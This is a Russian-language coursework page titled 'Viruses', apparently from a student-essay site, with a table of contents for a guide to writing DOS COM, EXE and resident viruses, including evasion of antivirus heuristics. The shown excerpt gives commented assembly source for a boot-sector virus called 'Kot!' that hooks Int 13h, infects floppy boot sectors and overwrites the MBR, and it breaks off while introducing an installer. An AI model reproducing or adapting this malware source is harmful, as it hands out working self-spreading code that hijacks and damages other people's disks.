Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

    жен будет заразить BOOT - сектор дискеты.Пусть за-

    ражение будет выполняться  в том случае,если проис-

    ходит чтение любого  сектора нулевой дорожки  нуле-

    вой стороны, кроме  первого.Исходя из  этого, можно

    записать :

 

                                      ;Далее следует

                                      ;вирусный обра-

                                      ;ботчик Int 13h

    to_new_13h equ   $ - my_prg       ;

                                      ;

    new_13h:   pushf                  ;Сохраним флаги

               cmp dl,01h             ;Операция с дис-

                                      ;ководом " A "

                                      ;или " B " ?

               ja cs:to_sys_13h       ;Нет !

               cmp ah,02h             ;Чтение ?

               jne cs:to_sys_13h      ;Нет !

               cmp ch,00h             ;Дорожка " 0 " ?

               jne cs:to_sys_13h      ;Нет !

               cmp cl,01h             ;Сектор-первый ?

               je cs:to_sys_13h       ;Да !

               call cs:boot_infect    ;Вызовем проце-

                                      ;дуру заражения

                                      ;BOOT - секторов

                                      ;дискет

    to_sys_13h:                       ;

               popf                   ;Восстановим

                                      ;флаги

               db 0eah                ;Перейдем к сис-

    old_13h    dw 0                   ;темному обра-

    old_13h_2  dw 0                   ;ботчику Int 13h

 

    Обратите  внимание, что при чтении секторов  2...N

    нулевой  дорожки   нулевой  стороны  дискеты   упра-

    вление передается процедуре  " boot_infect ", кото-

    рая занимается заражением  гибких дисков. Если  бы

    заражение происходило  при чтении любого сектора,то

    на зараженной машине  все операции с дисководом  вы-

    полнялись бы раздражающе  медленно.

    Для передачи управления  системному обработчику Int

    13h используется обычная  команда далекого  перехо-

    да, записанная в виде  машинной инструкции.

    Теперь разработаем процедуру " boot_infect ",зара-

    жающую дискеты. Естественно  сделать ее по аналогии

    с фрагментом, который  " работает " с винчестером .

    Поэтому :

 

    boot_infect proc                  ;

               push ax                ;Сохраним реги-

               push bx                ;стры в стеке

               push cx                ;прерванного

               push dx                ;процесса

               push di                ;

               push ds                ;

               push es                ;

               pushf                  ;

                                      ;

               push cs                ;ES = CS

               pop es                 ;

                                      ;

               push cs                ;DS = CS

               pop ds                 ;

                                      ;

               mov cx,3               ;Попробуем про-

    next_read: push cx                ;честь BOOT -

                                      ;сектор дискеты.

               call cs:read_mbr       ;На это  даем три

               pop cx                 ;попытки (напри-

               jnc cs:inf_check       ;мер,если  двига-

                                      ;тель дисковода

                                      ;не успел разо-

                                      ;гнаться до ра-

                                      ;бочей скорости,

                                      ;то BIOS вернет

                                      ;ошибку -дискета

                                      ;сменена ! )

               xor ah,ah              ;При ошибке -

               pushf                  ;сбросим текущий

    call dword ptr old_13h - 100h     ;дисковод

               jc cs:to_jump          ;и повторим

               loop cs:next_read      ;чтение

    to_jump:   jmp cs:restore_regs    ;

                                      ;BOOT - сектор

                                      ;заражен ?

    inf_check: cmp byte ptr ds:[455h],33h

               je cs:to_jump          ;Да !

    cmp word ptr ds:[40bh],200h       ;512 байт в

                                      ;секторе ?

               jne cs:to_jump         ;Нет  !

                                      ;

               mov dl_save - 100h,dl

               mov ch,79              ;Определим

               mov dh,byte ptr ds:[415h]

               cmp dh,0f0h            ;параметры

               je cs:real_80          ;дискеты

               cmp dh,0f9h            ;по ее

               je cs:real_80          ;Media

               cmp dh,0fdh            ;Descryptor

               jne cs:to_jump         ;

               mov ch,39              ;

    real_80:   mov dh,01h             ;

               mov cl,byte ptr ds:[418h]

 

                                      ;Перепишем нас-

                                      ;тоящий BOOT в

                                      ;последний сек-

                                      ;тор последней

                                      ;дорожки на пос-

                                      ;ледней стороне

               xor dl,dl              ;

               call cs:write_mbr_last ;

               jc cs:to_jump          ;

                                      ;

               mov additor - 100h,055h;Сформируем код,

               xor di,di              ;который нужно

               mov cx,prg_lenght      ;записать  на

    copy_vir:  mov al,byte ptr ds:[di];дискету  вместо

    mov byte ptr ds:[di + 455h],al    ;исходной BOOT -

               inc di                 ;записи

               loop cs:copy_vir       ;

    mov word ptr ds:[400h],053ebh     ;

                                      ;

               xor dh,dh              ;И запишем его

               call cs:write_mbr      ;в первый

                                      ;сектор нулевой

                                      ;дорожки нулевой

                                      ;стороны дискеты

                                      ;

    restore_regs:                     ;Восстановим из

               popf                   ;стека регистры

               pop es                 ;

               pop ds                 ;

               pop di                 ;

               pop dx                 ;

               pop cx                 ;

               pop bx                 ;

               pop ax                 ;

               ret                    ;Выйдем из про-

                                      ;цедуры

    boot_infect endp                  ;

 

    Как вы успели заметить,текст  процедуры очень похож

    на текст фрагмента,  который будет заражать жесткий

    диск. Небольшие отличия  связаны со спецификой  ра-

    боты дисковода и винчестера. Дело в том, что жест-

    кий диск вращается  непрерывно (за исключением  не-

    которых новых систем  с  режимом экономии  электро-

    энергии), а двигатель дисковода запускается только

    при закрытии его флажка (если быть точным,это  за-

    висит от конструкции  дисковода.) Поэтому,если дви-

    гатель  дисковода к   моменту  выполнения  операции

    чтения не набрал  необходимую скорость, BIOS  вер-

    нет ошибку и сообщит,  что  дискета сменена.В  этом

    случае рекомендуется  повторить чтение, предварите-

    льно сбросив накопитель. Наш вирус повторяет попы-

    тку чтения три раза, после  чего в случае  неудачи

    отказывается от заражения  такого диска.

    Несколько раньше мы  выяснили, что для разных вер-

    сий MS DOS и WINDOWS программа  начальной  загрузки

    в BOOT - секторе дискеты   располагается по  разным

    смещениям. Сделано это  по той причине, что старшие

    версии  операционной  системы хранят в  загрузочном

    секторе  более   подробные  сведения о  диске.  Наи-

    большим смещением,с  которым вы когда - либо  може-

    те встретиться, является 0055h. Поэтому наш  вирус

    будет помещать в BOOT - сектор свой код,ориентиру-

    ясь именно на приведенное значение. Тогда в первые

    два байта сектора  должна быть записана команда  пе-

    рехода на начало этого  кода, а именно : " EB 53 ".

    Формат BOOT - сектора приведен  в ПРИЛОЖЕНИИ 2.

    И последнее - вирус  определяет параметры  заражае-

    мой дискеты исходя  из ее Media Descryptor. Сам De-

    scryptor содержится в BOOT - секторе любой дискеты

    и вместе с некоторыми  другими параметрами однозна-

    чно задает ее тип.Интерпретация  различных дескрип-

    торов приведена в  конце ПРИЛОЖЕНИЯ 2.

 

 

               1.12 Используемые процедуры

 

    Фактически вирус уже  изготовлен.Осталось лишь при-

    вести тексты процедур, которые он будет  использо-

    вать в своей работе :

 

    read_mbr   proc                   ;

               xor dh,dh              ;

               mov ax,0201h           ;Процедура

               mov bx,400h            ;читает первый

               mov cx,01h             ;сектор нулевой

               pushf                  ;дорожки нулевой

    call dword ptr old_13h - 100h     ;стороны указан-

               ret                    ;ного накопителя

    read_mbr   endp                   ;

                                      ;

    write_mbr proc                    ;

               mov ax,0301h           ;Процедура

               mov cx,01h             ;помещает вирус-

               pushf                  ;ный код в BOOT-

    call dword ptr old_13h - 100h     ;сектор дискеты

               ret                    ;или записывает

    write_mbr  endp                   ;его вместо MBR

                                      ;винчестера

                                      ;

    write_mbr_last proc               ;Процедура

                                      ;переписывает

                                      ;исходную BOOT-

                                      ;запись или MBR

               mov num_head - 100h,dx ;в заданный

               mov cyl_sect - 100h,cx ;сектор

               mov dl,dl_save - 100h  ;заражаемого

                                      ;диска

               mov ax,0301h           ;

               pushf                  ;

    call dword ptr old_13h - 100h     ;

               ret                    ;

    write_mbr_last endp               ;

 

    Процедуры построены  очень просто, и объяснять  их

    работу, скорее всего, нет смысла. Отметим  только,

    что все вызовы Int 13h оформлены  в виде вызова да-

    льней процедуры. Это  необходимо для предотвращения

    потенциальных " глюков ", связанных с  нереентера-

    бельностью программ,выполняющих  обработку Int 13h.

    Хотя такой метод несколько  увеличивает размер  ви-

    русного кода.

 

 

               1.13 Область данных вируса

 

    В отличие  от предыдущих  программ, область  данных

    написанного нами загрузочного  вируса имеет на уди-

    вление простую структуру :

                                      ;

               db   'Kot!'            ;Название вируса

    dl_save    db   0                 ;Ячейка для вре-

                                      ;менного хране-

                                     ;ния регистра DL

                                      ;( он задает

                                      ;номер накопите-

                                      ;ля )

    num_head   dw   0                 ;Здесь вирус

    cyl_sect   dw   0                ;хранит номер

                                      ;головки,дорожки

                                      ;и сектора зара-

                                      ;женного диска ,

                                      ;на которых за-

                                      ;писана настоя-

                                      ;щая загрузочная

                                      ;запись

    vvv        dw   004ch             ;Смещение к век-

                                      ;тору Int 13h

                                      ;Длина вирусного

                                      ;кода :

               prg_lenght   equ   $ - my_prg

 

    Вы можете спросить,почему для имени вируса отведе-

    но всего четыре байта.Дело  в том,что наш вирус по-

    лучился довольно большим (421 байт - можете прове-

    рить !). Несколько  раньше  мы  выяснили,  что этот

    размер  не  может   быть  больше, чем  425  байт. А

    425 - 421 как раз равно  четырем ...

 

 

              1.14 Пишем секцию инсталляции

 

    Очевидно, в таком виде, в каком сейчас  существует

    наш вирус, его довольно  трудно внедрить в систему.

    Поэтому для облегчения  этой  "вредительской"  опе-

    рации напишем специальный  инсталлятор. Его функция

Информация о работе Вирусы